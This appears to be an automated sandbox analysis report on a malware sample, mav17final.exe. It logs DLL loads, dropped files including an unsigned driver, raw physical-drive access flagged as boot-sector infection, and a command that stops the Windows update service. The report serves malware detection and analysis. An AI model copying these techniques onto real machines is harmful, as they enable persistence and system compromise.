Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll

Source: C:\Windows\System32\dwm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: mav17final.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: mav17final.exe

Static file information: File size 13827522 > 1048576

Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: mav17final.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: mav17final.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: mav17final.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: mav17final.exe, 00000000.00000003.1989365562.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: mav17final.exe, 00000000.00000003.1989557906.000001F87EF84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: mav17final.exe, 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: mav17final.exe, 00000000.00000003.1985001146.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: mav17final.exe, 00000000.00000003.1985128419.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072745005.00007FF8B90AC000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: mav17final.exe, 00000000.00000003.1984118002.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: mav17final.exe, 00000000.00000003.1983941024.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: mav17final.exe, 00000000.00000003.1983941024.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: mav17final.exe, 00000000.00000003.1985268700.000001F87EF83000.00000004.00000020.00020000.00000000.sdmp, mav17final.exe, 00000002.00000002.2073128104.00007FF8B93C8000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: mav17final.exe, 00000002.00000002.2068496795.00007FF8A8CEB000.00000002.00000001.01000000.00000004.sdmp

Source: mav17final.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: mav17final.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: mav17final.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: mav17final.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: mav17final.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9071270 LoadLibraryA,GetProcAddress,FreeLibrary,

2_2_00007FF8B9071270

Source: mav17final.exe	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.0.dr	Static PE information: section name: .00cfg
Source: python311.dll.0.dr	Static PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA
Source: dialer.exe.2.dr	Static PE information: section name: .00cfg
Source: dialer.exe.9.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\mav17final.exe	Code function: 0_2_00007FF79EA7F018 push rax; retf 0000h	0_2_00007FF79EA7F019
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B909D418 push rsi; retf	2_2_00007FF8B909D419
Source: C:\Users\user\Desktop\mav17final.exe	Code function: 2_2_00007FF8B909D390 push rsi; iretd	2_2_00007FF8B909D3A5
Source: C:\Windows\System32\conhost.exe	Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret	64_2_0000000140001403

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, \\.\PhysicalDrive%d	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, PhysicalDrive%i	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i	2_2_00007FF8B9075750

Sample is not signed and drops a device driver

Source: C:\ProgramData\dialer.exe

File created: C:\Windows\TEMP\ujjtjyeszdwn.sys

Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\dialer.exe	File created: C:\ProgramData\dialer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\unicodedata.pyd	Jump to dropped file
Source: C:\ProgramData\dialer.exe	File created: C:\Windows\Temp\ujjtjyeszdwn.sys	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\dialer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\python311.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\psutil\_psutil_windows.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\mav17final.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI19682\_elementtree.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\dialer.exe

File created: C:\ProgramData\dialer.exe

Jump to dropped file

Source: C:\ProgramData\dialer.exe

File created: C:\Windows\Temp\ujjtjyeszdwn.sys

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, \\.\PhysicalDrive%d	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, PhysicalDrive%i	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i	2_2_00007FF8B9075750
Source: C:\Users\user\Desktop\mav17final.exe	Code function: swprintf_s,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,swprintf_s,CloseHandle,GetLastError,fprintf,fprintf,fprintf,GetLastError,fprintf,CloseHandle, DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i	2_2_00007FF8B9075750

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 2_2_00007FF8B9078F50 StartServiceA,CloseServiceHandle,CloseServiceHandle,

2_2_00007FF8B9078F50

Source: C:\Users\user\AppData\Local\Temp\dialer.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\mav17final.exe

Code function: 0_2_00007FF79EA450D0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF79EA450D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
